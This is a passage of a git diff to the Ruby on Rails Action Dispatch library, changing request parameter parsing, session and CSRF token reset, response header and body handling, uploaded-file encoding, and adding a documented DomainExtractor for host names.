       (get_header("SERVER_SOFTWARE") && /^([a-zA-Z]+)/ =~ get_header("SERVER_SOFTWARE")) ? $1.downcase : nil
     end
 
-    # Read the request \body. This is useful for web services that need to
-    # work with raw requests directly.
+    # Read the request body. This is useful for web services that need to work with
+    # raw requests directly.
     def raw_post
       unless has_header? "RAW_POST_DATA"
-        raw_post_body = body
-        set_header("RAW_POST_DATA", raw_post_body.read(content_length))
-        raw_post_body.rewind if raw_post_body.respond_to?(:rewind)
+        set_header("RAW_POST_DATA", read_body_stream)
       end
       get_header "RAW_POST_DATA"
     end
@@ -298,40 +361,34 @@ def raw_post
     # variable is already set, wrap it in a StringIO.
     def body
       if raw_post = get_header("RAW_POST_DATA")
-        raw_post.force_encoding(Encoding::BINARY)
+        raw_post = (+raw_post).force_encoding(Encoding::BINARY)
         StringIO.new(raw_post)
       else
         body_stream
       end
     end
 
-    # Determine whether the request body contains form-data by checking
-    # the request Content-Type for one of the media-types:
-    # "application/x-www-form-urlencoded" or "multipart/form-data". The
-    # list of form-data media types can be modified through the
-    # +FORM_DATA_MEDIA_TYPES+ array.
+    # Determine whether the request body contains form-data by checking the request
+    # `Content-Type` for one of the media-types: `application/x-www-form-urlencoded`
+    # or `multipart/form-data`. The list of form-data media types can be modified
+    # through the `FORM_DATA_MEDIA_TYPES` array.
     #
-    # A request body is not assumed to contain form-data when no
-    # Content-Type header is provided and the request_method is POST.
+    # A request body is not assumed to contain form-data when no `Content-Type`
+    # header is provided and the request_method is POST.
     def form_data?
       FORM_DATA_MEDIA_TYPES.include?(media_type)
     end
 
-    def body_stream #:nodoc:
+    def body_stream # :nodoc:
       get_header("rack.input")
     end
 
-    # TODO This should be broken apart into AD::Request::Session and probably
-    # be included by the session middleware.
     def reset_session
-      if session && session.respond_to?(:destroy)
-        session.destroy
-      else
-        self.session = {}
-      end
+      session.destroy
+      reset_csrf_token
     end
 
-    def session=(session) #:nodoc:
+    def session=(session) # :nodoc:
       Session.set self, session
     end
 
@@ -339,37 +396,72 @@ def session_options=(options)
       Session::Options.set self, options
     end
 
-    # Override Rack's GET method to support indifferent access
+    # Override Rack's GET method to support indifferent access.
     def GET
       fetch_header("action_dispatch.request.query_parameters") do |k|
-        rack_query_params = super || {}
-        # Check for non UTF-8 parameter values, which would cause errors later
-        Request::Utils.check_param_encoding(rack_query_params)
-        set_header k, Request::Utils.normalize_encode_params(rack_query_params)
+        encoding_template = Request::Utils::CustomParamEncoder.action_encoding_template(self, path_parameters[:controller], path_parameters[:action])
+        rack_query_params = ActionDispatch::ParamBuilder.from_query_string(rack_request.query_string, encoding_template: encoding_template)
+
+        set_header k, rack_query_params
       end
-    rescue Rack::Utils::ParameterTypeError, Rack::Utils::InvalidParameterError => e
+    rescue ActionDispatch::ParamError => e
       raise ActionController::BadRequest.new("Invalid query parameters: #{e.message}")
     end
     alias :query_parameters :GET
 
-    # Override Rack's POST method to support indifferent access
+    # Override Rack's POST method to support indifferent access.
     def POST
       fetch_header("action_dispatch.request.request_parameters") do
-        pr = parse_formatted_parameters(params_parsers) do |params|
-          super || {}
+        encoding_template = Request::Utils::CustomParamEncoder.action_encoding_template(self, path_parameters[:controller], path_parameters[:action])
+
+        param_list = nil
+        pr = parse_formatted_parameters(params_parsers) do
+          if param_list = request_parameters_list
+            ActionDispatch::ParamBuilder.from_pairs(param_list, encoding_template: encoding_template)
+          else
+            # We're not using a version of Rack that provides raw form
+            # pairs; we must use its hash (and thus post-process it below).
+            fallback_request_parameters
+          end
+        end
+
+        # If the request body was parsed by a custom parser like JSON
+        # (and thus the above block was not run), we need to
+        # post-process the result hash.
+        if param_list.nil?
+          pr = ActionDispatch::ParamBuilder.from_hash(pr, encoding_template: encoding_template)
         end
-        self.request_parameters = Request::Utils.normalize_encode_params(pr)
+
+        self.request_parameters = pr
       end
-    rescue Http::Parameters::ParseError # one of the parse strategies blew up
-      self.request_parameters = Request::Utils.normalize_encode_params(super || {})
-      raise
-    rescue Rack::Utils::ParameterTypeError, Rack::Utils::InvalidParameterError => e
+    rescue ActionDispatch::ParamError, EOFError => e
       raise ActionController::BadRequest.new("Invalid request parameters: #{e.message}")
     end
     alias :request_parameters :POST
 
-    # Returns the authorization header regardless of whether it was specified directly or through one of the
-    # proxy alternatives.
+    def request_parameters_list
+      # We don't use Rack's parse result, but we must call it so Rack
+      # can populate the rack.request.* keys we need.
+      rack_post = rack_request.POST
+
+      if form_pairs = get_header("rack.request.form_pairs")
+        # Multipart
+        form_pairs
+      elsif form_vars = get_header("rack.request.form_vars")
+        # URL-encoded
+        ActionDispatch::QueryParser.each_pair(form_vars)
+      elsif rack_post && !rack_post.empty?
+        # It was multipart, but Rack did not preserve a pair list
+        # (probably too old). Flat parameter list is not available.
+        nil
+      else
+        # No request body, or not a format Rack knows
+        []
+      end
+    end
+
+    # Returns the authorization header regardless of whether it was specified
+    # directly or through one of the proxy alternatives.
     def authorization
       get_header("HTTP_AUTHORIZATION")   ||
       get_header("X-HTTP_AUTHORIZATION") ||
@@ -379,29 +471,76 @@ def authorization
 
     # True if the request came from localhost, 127.0.0.1, or ::1.
     def local?
-      LOCALHOST =~ remote_addr && LOCALHOST =~ remote_ip
+      LOCALHOST.match?(remote_addr) && LOCALHOST.match?(remote_ip)
     end
 
     def request_parameters=(params)
       raise if params.nil?
-      set_header("action_dispatch.request.request_parameters".freeze, params)
+      set_header("action_dispatch.request.request_parameters", params)
     end
 
     def logger
-      get_header("action_dispatch.logger".freeze)
+      get_header("action_dispatch.logger")
     end
 
     def commit_flash
     end
 
-    def ssl?
-      super || scheme == "wss".freeze
+    def inspect # :nodoc:
+      "#<#{self.class.name} #{method} #{original_url.dump} for #{remote_ip}>"
+    end
+
+    def reset_csrf_token
+      controller_instance.reset_csrf_token(self) if controller_instance.respond_to?(:reset_csrf_token)
+    end
+
+    def commit_csrf_token
+      controller_instance.commit_csrf_token(self) if controller_instance.respond_to?(:commit_csrf_token)
     end
 
     private
       def check_method(name)
-        HTTP_METHOD_LOOKUP[name] || raise(ActionController::UnknownHttpMethod, "#{name}, accepted HTTP methods are #{HTTP_METHODS[0...-1].join(', ')}, and #{HTTP_METHODS[-1]}")
+        if name
+          HTTP_METHOD_LOOKUP[name] || raise(ActionController::UnknownHttpMethod, "#{name}, accepted HTTP methods are #{HTTP_METHODS.to_sentence(locale: false)}")
+        end
+
         name
       end
+
+      def default_session
+        Session.disabled(self)
+      end
+
+      def read_body_stream
+        if body_stream
+          reset_stream(body_stream) do
+            if has_header?(TRANSFER_ENCODING)
+              body_stream.read # Read body stream until EOF if "Transfer-Encoding" is present
+            else
+              body_stream.read(content_length)
+            end
+          end
+        end
+      end
+
+      def reset_stream(body_stream)
+        if body_stream.respond_to?(:rewind)
+          body_stream.rewind
+
+          content = yield
+
+          body_stream.rewind
+
+          content
+        else
+          yield
+        end
+      end
+
+      def fallback_request_parameters
+        rack_request.POST
+      end
   end
 end
+
+ActiveSupport.run_load_hooks :action_dispatch_request, ActionDispatch::Request
diff --git a/actionpack/lib/action_dispatch/http/response.rb b/actionpack/lib/action_dispatch/http/response.rb
index dc159596c46a8..a29b99cf8eb88 100644
--- a/actionpack/lib/action_dispatch/http/response.rb
+++ b/actionpack/lib/action_dispatch/http/response.rb
@@ -1,73 +1,92 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "active_support/core_ext/module/attribute_accessors"
 require "action_dispatch/http/filter_redirect"
 require "action_dispatch/http/cache"
 require "monitor"
 
 module ActionDispatch # :nodoc:
+  # # Action Dispatch Response
+  #
   # Represents an HTTP response generated by a controller action. Use it to
   # retrieve the current state of the response, or customize the response. It can
-  # either represent a real HTTP response (i.e. one that is meant to be sent
-  # back to the web browser) or a TestResponse (i.e. one that is generated
-  # from integration tests).
+  # either represent a real HTTP response (i.e. one that is meant to be sent back
+  # to the web browser) or a TestResponse (i.e. one that is generated from
+  # integration tests).
   #
-  # \Response is mostly a Ruby on \Rails framework implementation detail, and
-  # should never be used directly in controllers. Controllers should use the
-  # methods defined in ActionController::Base instead. For example, if you want
-  # to set the HTTP response's content MIME type, then use
-  # ActionControllerBase#headers instead of Response#headers.
+  # The Response object for the current request is exposed on controllers as
+  # ActionController::Metal#response. ActionController::Metal also provides a few
+  # additional methods that delegate to attributes of the Response such as
+  # ActionController::Metal#headers.
   #
-  # Nevertheless, integration tests may want to inspect controller responses in
-  # more detail, and that's when \Response can be useful for application
-  # developers. Integration test methods such as
-  # ActionDispatch::Integration::Session#get and
-  # ActionDispatch::Integration::Session#post return objects of type
-  # TestResponse (which are of course also of type \Response).
+  # Integration tests will likely also want to inspect responses in more detail.
+  # Methods such as Integration::RequestHelpers#get and
+  # Integration::RequestHelpers#post return instances of TestResponse (which
+  # inherits from Response) for this purpose.
   #
   # For example, the following demo integration test prints the body of the
   # controller response to the console:
   #
-  #  class DemoControllerTest < ActionDispatch::IntegrationTest
-  #    def test_print_root_path_to_console
-  #      get('/')
-  #      puts response.body
-  #    end
-  #  end
+  #     class DemoControllerTest < ActionDispatch::IntegrationTest
+  #       def test_print_root_path_to_console
+  #         get('/')
+  #         puts response.body
+  #       end
+  #     end
   class Response
-    class Header < DelegateClass(Hash) # :nodoc:
-      def initialize(response, header)
-        @response = response
-        super(header)
-      end
-
-      def []=(k, v)
-        if @response.sending? || @response.sent?
-          raise ActionDispatch::IllegalStateError, "header already sent"
+    begin
+      # For `Rack::Headers` (Rack 3+):
+      require "rack/headers"
+      Headers = ::Rack::Headers
+    rescue LoadError
+      # For `Rack::Utils::HeaderHash`:
+      require "rack/utils"
+      Headers = ::Rack::Utils::HeaderHash
+    end
+
+    class << self
+      if ActionDispatch::Constants::UNPROCESSABLE_CONTENT == :unprocessable_content
+        def rack_status_code(status) # :nodoc:
+          status = :unprocessable_content if status == :unprocessable_entity
+          Rack::Utils.status_code(status)
+        end
+      else
+        def rack_status_code(status) # :nodoc:
+          status = :unprocessable_entity if status == :unprocessable_content
+          Rack::Utils.status_code(status)
         end
-
-        super
-      end
-
-      def merge(other)
-        self.class.new @response, __getobj__.merge(other)
-      end
-
-      def to_hash
-        __getobj__.dup
       end
     end
 
+    # To be deprecated:
+    Header = Headers
+
     # The request that the response is responding to.
     attr_accessor :request
 
     # The HTTP status code.
     attr_reader :status
 
-    # Get headers for this response.
-    attr_reader :header
+    # The headers for the response.
+    #
+    #     header["Content-Type"] # => "text/plain"
+    #     header["Content-Type"] = "application/json"
+    #     header["Content-Type"] # => "application/json"
+    #
+    # Also aliased as `headers`.
+    #
+    #     headers["Content-Type"] # => "text/plain"
+    #     headers["Content-Type"] = "application/json"
+    #     headers["Content-Type"] # => "application/json"
+    #
+    # Also aliased as `header` for compatibility.
+    attr_reader :headers
 
-    alias_method :headers,  :header
+    alias_method :header, :headers
 
-    delegate :[], :[]=, to: :@header
+    delegate :[], :[]=, to: :@headers
 
     def each(&block)
       sending!
@@ -76,16 +95,15 @@ def each(&block)
       x
     end
 
-    CONTENT_TYPE = "Content-Type".freeze
-    SET_COOKIE   = "Set-Cookie".freeze
-    LOCATION     = "Location".freeze
-    NO_CONTENT_CODES = [100, 101, 102, 204, 205, 304]
+    CONTENT_TYPE = "Content-Type"
+    SET_COOKIE   = "Set-Cookie"
+    NO_CONTENT_CODES = [100, 101, 102, 103, 204, 205, 304]
 
-    cattr_accessor(:default_charset) { "utf-8" }
-    cattr_accessor(:default_headers)
+    cattr_accessor :default_charset, default: "utf-8"
+    cattr_accessor :default_headers
 
     include Rack::Response::Helpers
-    # Aliasing these off because AD::Http::Cache::Response defines them
+    # Aliasing these off because AD::Http::Cache::Response defines them.
     alias :_cache_control :cache_control
     alias :_cache_control= :cache_control=
 
@@ -101,9 +119,27 @@ def initialize(response, buf)
         @str_body = nil
       end
 
+      BODY_METHODS = { to_ary: true }
+
+      def respond_to?(method, include_private = false)
+        if BODY_METHODS.key?(method)
+          @buf.respond_to?(method)
+        else
+          super
+        end
+      end
+
+      def to_ary
+        if @str_body
+          [body]
+        else
+          @buf = @buf.to_ary
+        end
+      end
+
       def body
         @str_body ||= begin
-          buf = ""
+          buf = +""
           each { |chunk| buf << chunk }
           buf
         end
@@ -116,6 +152,7 @@ def write(string)
         @response.commit!
         @buf.push string
       end
+      alias_method :<<, :write
 
       def each(&block)
         if @str_body
@@ -140,15 +177,14 @@ def closed?
       end
 
       private
-
         def each_chunk(&block)
-          @buf.each(&block) # extract into own method
+          @buf.each(&block)
         end
     end
 
-    def self.create(status = 200, header = {}, body = [], default_headers: self.default_headers)
-      header = merge_default_headers(header, default_headers)
-      new status, header, body
+    def self.create(status = 200, headers = {}, body = [], default_headers: self.default_headers)
+      headers = merge_default_headers(headers, default_headers)
+      new status, headers, body
     end
 
     def self.merge_default_headers(original, default)
@@ -158,10 +194,14 @@ def self.merge_default_headers(original, default)
     # The underlying body, as a streamable object.
     attr_reader :stream
 
-    def initialize(status = 200, header = {}, body = [])
+    def initialize(status = 200, headers = nil, body = [])
       super()
 
-      @header = Header.new(self, header)
+      @headers = Headers.new
+
+      headers&.each do |key, value|
+        @headers[key] = value
+      end
 
       self.body, self.status = body, status
 
@@ -175,10 +215,10 @@ def initialize(status = 200, header = {}, body = [])
       yield self if block_given?
     end
 
-    def has_header?(key);   headers.key? key;   end
-    def get_header(key);    headers[key];       end
-    def set_header(key, v); headers[key] = v;   end
-    def delete_header(key); headers.delete key; end
+    def has_header?(key);   @headers.key? key;   end
+    def get_header(key);    @headers[key];       end
+    def set_header(key, v); @headers[key] = v;   end
+    def delete_header(key); @headers.delete key; end
 
     def await_commit
       synchronize do
@@ -217,31 +257,60 @@ def sending?;   synchronize { @sending };   end
     def committed?; synchronize { @committed }; end
     def sent?;      synchronize { @sent };      end
 
+    ##
+    # :method: location
+    #
+    # Location of the response.
+
+    ##
+    # :method: location=
+    #
+    # :call-seq: location=(location)
+    #
+    # Sets the location of the response
+
     # Sets the HTTP status code.
     def status=(status)
-      @status = Rack::Utils.status_code(status)
+      @status = Response.rack_status_code(status)
     end
 
-    # Sets the HTTP content type.
+    # Sets the HTTP response's content MIME type. For example, in the controller you
+    # could write this:
+    #
+    #     response.content_type = "text/html"
+    #
+    # This method also accepts a symbol with the extension of the MIME type:
+    #
+    #     response.content_type = :html
+    #
+    # If a character set has been defined for this response (see #charset=) then the
+    # character set information will also be included in the content type
+    # information.
     def content_type=(content_type)
-      return unless content_type
-      new_header_info = parse_content_type(content_type.to_s)
+      case content_type
+      when NilClass
+        return
+      when Symbol
+        mime_type = Mime[content_type]
+        raise ArgumentError, "Unknown MIME type #{content_type}" unless mime_type
+        new_header_info = ContentTypeHeader.new(mime_type.to_s)
+      else
+        new_header_info = parse_content_type(content_type.to_s)
+      end
+
       prev_header_info = parsed_content_type_header
       charset = new_header_info.charset || prev_header_info.charset
       charset ||= self.class.default_charset unless prev_header_info.mime_type
       set_content_type new_header_info.mime_type, charset
     end
 
-    # Sets the HTTP response's content MIME type. For example, in the controller
-    # you could write this:
-    #
-    #  response.content_type = "text/plain"
-    #
-    # If a character set has been defined for this response (see charset=) then
-    # the character set information will also be included in the content type
-    # information.
-
+    # Content type of response.
     def content_type
+      super.presence
+    end
+
+    # Media type of response.
+    def media_type
       parsed_content_type_header.mime_type
     end
 
@@ -251,23 +320,22 @@ def sending_file=(v)
       end
     end
 
-    # Sets the HTTP character set. In case of +nil+ parameter
-    # it sets the charset to utf-8.
+    # Sets the HTTP character set. In case of `nil` parameter it sets the charset to
+    # `default_charset`.
     #
-    #   response.charset = 'utf-16' # => 'utf-16'
-    #   response.charset = nil      # => 'utf-8'
+    #     response.charset = 'utf-16' # => 'utf-16'
+    #     response.charset = nil      # => 'utf-8'
     def charset=(charset)
-      header_info = parsed_content_type_header
+      content_type = parsed_content_type_header.mime_type
       if false == charset
-        set_header CONTENT_TYPE, header_info.mime_type
+        set_content_type content_type, nil
       else
-        content_type = header_info.mime_type
         set_content_type content_type, charset || self.class.default_charset
       end
     end
 
-    # The charset of the response. HTML wants to know the encoding of the
-    # content you're giving them, so we need to send that along.
+    # The charset of the response. HTML wants to know the encoding of the content
+    # you're giving them, so we need to send that along.
     def charset
       header_info = parsed_content_type_header
       header_info.charset || self.class.default_charset
@@ -278,28 +346,34 @@ def response_code
       @status
     end
 
-    # Returns a string to ensure compatibility with <tt>Net::HTTPResponse</tt>.
+    # Returns a string to ensure compatibility with `Net::HTTPResponse`.
     def code
       @status.to_s
     end
 
     # Returns the corresponding message for the current HTTP status code:
     #
-    #   response.status = 200
-    #   response.message # => "OK"
+    #     response.status = 200
+    #     response.message # => "OK"
     #
-    #   response.status = 404
-    #   response.message # => "Not Found"
+    #     response.status = 404
+    #     response.message # => "Not Found"
     #
     def message
       Rack::Utils::HTTP_STATUS_CODES[@status]
     end
     alias_method :status_message, :message
 
-    # Returns the content of the response as a string. This contains the contents
-    # of any calls to <tt>render</tt>.
+    # Returns the content of the response as a string. This contains the contents of
+    # any calls to `render`.
     def body
-      @stream.body
+      if @stream.respond_to?(:to_ary)
+        @stream.to_ary.join
+      elsif @stream.respond_to?(:body)
+        @stream.body
+      else
+        @stream
+      end
     end
 
     def write(string)
@@ -308,19 +382,24 @@ def write(string)
 
     # Allows you to manually set or override the response body.
     def body=(body)
-      if body.respond_to?(:to_path)
-        @stream = body
-      else
-        synchronize do
-          @stream = build_buffer self, munge_body_object(body)
+      # Prevent ActionController::Metal::Live::Response from committing the response prematurely.
+      synchronize do
+        if body.respond_to?(:to_str)
+          @stream = build_buffer(self, [body])
+        elsif body.respond_to?(:to_path)
+          @stream = body
+        elsif body.respond_to?(:to_ary)
+          @stream = build_buffer(self, body)
+        else
+          @stream = body
         end
       end
     end
 
-    # Avoid having to pass an open file handle as the response body.
-    # Rack::Sendfile will usually intercept the response and uses
-    # the path directly, so there is no reason to open the file.
-    class FileBody #:nodoc:
+    # Avoid having to pass an open file handle as the response body. Rack::Sendfile
+    # will usually intercept the response and uses the path directly, so there is no
+    # reason to open the file.
+    class FileBody # :nodoc:
       attr_reader :to_path
 
       def initialize(path)
@@ -341,7 +420,7 @@ def each
       end
     end
 
-    # Send the file stored at +path+ as the response body.
+    # Send the file stored at `path` as the response body.
     def send_file(path)
       commit!
       @stream = FileBody.new(path)
@@ -368,26 +447,25 @@ def abort
       if stream.respond_to?(:abort)
         stream.abort
       elsif stream.respond_to?(:close)
-        # `stream.close` should really be reserved for a close from the
-        # other direction, but we must fall back to it for
-        # compatibility.
+        # `stream.close` should really be reserved for a close from the other direction,
+        # but we must fall back to it for compatibility.
         stream.close
       end
     end
 
-    # Turns the Response into a Rack-compatible array of the status, headers,
-    # and body. Allows explicit splatting:
+    # Turns the Response into a Rack-compatible array of the status, headers, and
+    # body. Allows explicit splatting:
     #
-    #   status, headers, body = *response
+    #     status, headers, body = *response
     def to_a
       commit!
-      rack_response @status, @header.to_hash
+      rack_response @status, @headers.to_hash
     end
     alias prepare! to_a
 
     # Returns the response cookies, converted to a Hash of (name => value) pairs
     #
-    #   assert_equal 'AuthorOfNewPage', r.cookies['author']
+    #     assert_equal 'AuthorOfNewPage', r.cookies['author']
     def cookies
       cookies = {}
       if header = get_header(SET_COOKIE)
@@ -403,15 +481,18 @@ def cookies
     end
 
   private
-
     ContentTypeHeader = Struct.new :mime_type, :charset
     NullContentTypeHeader = ContentTypeHeader.new nil, nil
 
+    CONTENT_TYPE_PARSER = /
+      \A
+      (?<mime_type>[^;\s]+\s*(?:;\s*(?:(?!charset)[^;\s])+)*)?
+      (?:;\s*charset=(?<quote>"?)(?<charset>[^;\s]+)\k<quote>)?
+    /x # :nodoc:
+
     def parse_content_type(content_type)
-      if content_type
-        type, charset = content_type.split(/;\s*charset=/)
-        type = nil if type && type.empty?
-        ContentTypeHeader.new(type, charset)
+      if content_type && match = CONTENT_TYPE_PARSER.match(content_type)
+        ContentTypeHeader.new(match[:mime_type], match[:charset])
       else
         NullContentTypeHeader
       end
@@ -424,40 +505,35 @@ def parsed_content_type_header
     end
 
     def set_content_type(content_type, charset)
-      type = (content_type || "").dup
-      type << "; charset=#{charset.to_s.downcase}" if charset
+      type = content_type || ""
+      type = "#{type}; charset=#{charset.to_s.downcase}" if charset
       set_header CONTENT_TYPE, type
     end
 
     def before_committed
       return if committed?
       assign_default_content_type_and_charset!
+      merge_and_normalize_cache_control!(@cache_control)
       handle_conditional_get!
       handle_no_content!
     end
 
     def before_sending
-      # Normally we've already committed by now, but it's possible
-      # (e.g., if the controller action tries to read back its own
-      # response) to get here before that. In that case, we must force
-      # an "early" commit: we're about to freeze the headers, so this is
-      # our last chance.
+      # Normally we've already committed by now, but it's possible (e.g., if the
+      # controller action tries to read back its own response) to get here before
+      # that. In that case, we must force an "early" commit: we're about to freeze the
+      # headers, so this is our last chance.
       commit! unless committed?
 
-      headers.freeze
-      request.commit_cookie_jar! unless committed?
+      @request.commit_cookie_jar! unless committed?
     end
 
     def build_buffer(response, body)
       Buffer.new response, body
     end
 
-    def munge_body_object(body)
-      body.respond_to?(:each) ? body : [body]
-    end
-
     def assign_default_content_type_and_charset!
-      return if content_type
+      return if media_type
 
       ct = parsed_content_type_header
       set_content_type(ct.mime_type || Mime[:html].to_s,
@@ -469,13 +545,11 @@ def initialize(response)
         @response = response
       end
 
-      def each(*args, &block)
-        @response.each(*args, &block)
-      end
+      attr :response
 
       def close
-        # Rack "close" maps to Response#abort, and *not* Response#close
-        # (which is used when the controller's finished writing)
+        # Rack "close" maps to Response#abort, and **not** Response#close (which is used
+        # when the controller's finished writing)
         @response.abort
       end
 
@@ -483,36 +557,48 @@ def body
         @response.body
       end
 
+      BODY_METHODS = { to_ary: true, each: true, call: true, to_path: true }
+
       def respond_to?(method, include_private = false)
-        if method.to_s == "to_path"
+        if BODY_METHODS.key?(method)
           @response.stream.respond_to?(method)
         else
           super
         end
       end
 
-      def to_path
-        @response.stream.to_path
+      def to_ary
+        @response.stream.to_ary
       end
 
-      def to_ary
-        nil
+      def each(*args, &block)
+        @response.each(*args, &block)
+      end
+
+      def call(*arguments, &block)
+        @response.stream.call(*arguments, &block)
+      end
+
+      def to_path
+        @response.stream.to_path
       end
     end
 
     def handle_no_content!
       if NO_CONTENT_CODES.include?(@status)
-        @header.delete CONTENT_TYPE
-        @header.delete "Content-Length"
+        @headers.delete CONTENT_TYPE
+        @headers.delete "Content-Length"
       end
     end
 
-    def rack_response(status, header)
+    def rack_response(status, headers)
       if NO_CONTENT_CODES.include?(status)
-        [status, header, []]
+        [status, headers, []]
       else
-        [status, header, RackBody.new(self)]
+        [status, headers, RackBody.new(self)]
       end
     end
   end
+
+  ActiveSupport.run_load_hooks(:action_dispatch_response, Response)
 end
diff --git a/actionpack/lib/action_dispatch/http/upload.rb b/actionpack/lib/action_dispatch/http/upload.rb
index 61ba052e4586a..9b14b54a907fc 100644
--- a/actionpack/lib/action_dispatch/http/upload.rb
+++ b/actionpack/lib/action_dispatch/http/upload.rb
@@ -1,13 +1,19 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionDispatch
   module Http
+    # # Action Dispatch HTTP UploadedFile
+    #
     # Models uploaded files.
     #
-    # The actual file is accessible via the +tempfile+ accessor, though some
-    # of its interface is available directly for convenience.
+    # The actual file is accessible via the `tempfile` accessor, though some of its
+    # interface is available directly for convenience.
     #
-    # Uploaded files are temporary files whose lifespan is one request. When
-    # the object is finalized Ruby unlinks the file, so there is no need to
-    # clean them with a separate maintenance task.
+    # Uploaded files are temporary files whose lifespan is one request. When the
+    # object is finalized Ruby unlinks the file, so there is no need to clean them
+    # with a separate maintenance task.
     class UploadedFile
       # The basename of the file in the client.
       attr_accessor :original_filename
@@ -15,10 +21,9 @@ class UploadedFile
       # A string with the MIME type of the file.
       attr_accessor :content_type
 
-      # A +Tempfile+ object with the actual uploaded file. Note that some of
-      # its interface is available directly.
+      # A `Tempfile` object with the actual uploaded file. Note that some of its
+      # interface is available directly.
       attr_accessor :tempfile
-      alias :to_io :tempfile
 
       # A string with the headers of the multipart request.
       attr_accessor :headers
@@ -27,52 +32,76 @@ def initialize(hash) # :nodoc:
         @tempfile = hash[:tempfile]
         raise(ArgumentError, ":tempfile is required") unless @tempfile
 
-        @original_filename = hash[:filename]
-        if @original_filename
+        @content_type = hash[:type]
+
+        if hash[:filename]
+          @original_filename = hash[:filename].dup
+
           begin
             @original_filename.encode!(Encoding::UTF_8)
           rescue EncodingError
             @original_filename.force_encoding(Encoding::UTF_8)
           end
+        else
+          @original_filename = nil
+        end
+
+        if hash[:head]
+          @headers = hash[:head].dup
+
+          begin
+            @headers.encode!(Encoding::UTF_8)
+          rescue EncodingError
+            @headers.force_encoding(Encoding::UTF_8)
+          end
+        else
+          @headers = nil
         end
-        @content_type      = hash[:type]
-        @headers           = hash[:head]
       end
 
-      # Shortcut for +tempfile.read+.
+      # Shortcut for `tempfile.read`.
       def read(length = nil, buffer = nil)
         @tempfile.read(length, buffer)
       end
 
-      # Shortcut for +tempfile.open+.
+      # Shortcut for `tempfile.open`.
       def open
         @tempfile.open
       end
 
-      # Shortcut for +tempfile.close+.
+      # Shortcut for `tempfile.close`.
       def close(unlink_now = false)
         @tempfile.close(unlink_now)
       end
 
-      # Shortcut for +tempfile.path+.
+      # Shortcut for `tempfile.path`.
       def path
         @tempfile.path
       end
 
-      # Shortcut for +tempfile.rewind+.
+      # Shortcut for `tempfile.to_path`.
+      def to_path
+        @tempfile.to_path
+      end
+
+      # Shortcut for `tempfile.rewind`.
       def rewind
         @tempfile.rewind
       end
 
-      # Shortcut for +tempfile.size+.
+      # Shortcut for `tempfile.size`.
       def size
         @tempfile.size
       end
 
-      # Shortcut for +tempfile.eof?+.
+      # Shortcut for `tempfile.eof?`.
       def eof?
         @tempfile.eof?
       end
+
+      def to_io
+        @tempfile.to_io
+      end
     end
   end
 end
diff --git a/actionpack/lib/action_dispatch/http/url.rb b/actionpack/lib/action_dispatch/http/url.rb
index a6937d54ff210..e7fecc7b756a7 100644
--- a/actionpack/lib/action_dispatch/http/url.rb
+++ b/actionpack/lib/action_dispatch/http/url.rb
@@ -1,3 +1,7 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "active_support/core_ext/module/attribute_accessors"
 
 module ActionDispatch
@@ -7,26 +11,123 @@ module URL
       HOST_REGEXP     = /(^[^:]+:\/\/)?(\[[^\]]+\]|[^:]+)(?::(\d+$))?/
       PROTOCOL_REGEXP = /^([^:]+)(:)?(\/\/)?$/
 
-      mattr_accessor :tld_length
-      self.tld_length = 1
+      # DomainExtractor provides utility methods for extracting domain and subdomain
+      # information from host strings. This module is used internally by Action Dispatch
+      # to parse host names and separate the domain from subdomains based on the
+      # top-level domain (TLD) length.
+      #
+      # The module assumes a standard domain structure where domains consist of:
+      # - Subdomains (optional, can be multiple levels)
+      # - Domain name
+      # - Top-level domain (TLD, can be multiple levels like .co.uk)
+      #
+      # For example, in "api.staging.example.co.uk":
+      # - Subdomains: ["api", "staging"]
+      # - Domain: "example.co.uk" (with tld_length=2)
+      # - TLD: "co.uk"
+      module DomainExtractor
+        extend self
+
+        # Extracts the domain part from a host string, including the specified
+        # number of top-level domain components.
+        #
+        # The domain includes the main domain name plus the TLD components.
+        # The +tld_length+ parameter specifies how many components from the right
+        # should be considered part of the TLD.
+        #
+        # ==== Parameters
+        #
+        # [+host+]
+        #   The host string to extract the domain from.
+        #
+        # [+tld_length+]
+        #   The number of domain components that make up the TLD. For example,
+        #   use 1 for ".com" or 2 for ".co.uk".
+        #
+        # ==== Examples
+        #
+        #   # Standard TLD (tld_length = 1)
+        #   DomainExtractor.domain_from("www.example.com", 1)
+        #   # => "example.com"
+        #
+        #   # Country-code TLD (tld_length = 2)
+        #   DomainExtractor.domain_from("www.example.co.uk", 2)
+        #   # => "example.co.uk"
+        #
+        #   # Multiple subdomains
+        #   DomainExtractor.domain_from("api.staging.myapp.herokuapp.com", 1)
+        #   # => "herokuapp.com"
+        #
+        #   # Single component (returns the host itself)
+        #   DomainExtractor.domain_from("localhost", 1)
+        #   # => "localhost"
+        def domain_from(host, tld_length)
+          host.split(".").last(1 + tld_length).join(".")
+        end
+
+        # Extracts the subdomain components from a host string as an Array.
+        #
+        # Returns all the components that come before the domain and TLD parts.
+        # The +tld_length+ parameter is used to determine where the domain begins
+        # so that everything before it is considered a subdomain.
+        #
+        # ==== Parameters
+        #
+        # [+host+]
+        #   The host string to extract subdomains from.
+        #
+        # [+tld_length+]
+        #   The number of domain components that make up the TLD. This affects
+        #   where the domain boundary is calculated.
+        #
+        # ==== Examples
+        #
+        #   # Standard TLD (tld_length = 1)
+        #   DomainExtractor.subdomains_from("www.example.com", 1)
+        #   # => ["www"]
+        #
+        #   # Country-code TLD (tld_length = 2)
+        #   DomainExtractor.subdomains_from("api.staging.example.co.uk", 2)
+        #   # => ["api", "staging"]
+        #
+        #   # No subdomains
+        #   DomainExtractor.subdomains_from("example.com", 1)
+        #   # => []
+        #
+        #   # Single subdomain with complex TLD
+        #   DomainExtractor.subdomains_from("www.mysite.co.uk", 2)
+        #   # => ["www"]
+        #
+        #   # Multiple levels of subdomains
+        #   DomainExtractor.subdomains_from("dev.api.staging.example.com", 1)
+        #   # => ["dev", "api", "staging"]
+        def subdomains_from(host, tld_length)
+          parts = host.split(".")
+          parts[0..-(tld_length + 2)]
+        end
+      end
+
+      mattr_accessor :secure_protocol, default: false
+      mattr_accessor :tld_length, default: 1
+      mattr_accessor :domain_extractor, default: DomainExtractor
 
       class << self
         # Returns the domain part of a host given the domain level.
         #
-        #    # Top-level domain example
-        #    extract_domain('www.example.com', 1) # => "example.com"
-        #    # Second-level domain example
-        #    extract_domain('dev.www.example.co.uk', 2) # => "example.co.uk"
+        #     # Top-level domain example
+        #     extract_domain('www.example.com', 1) # => "example.com"
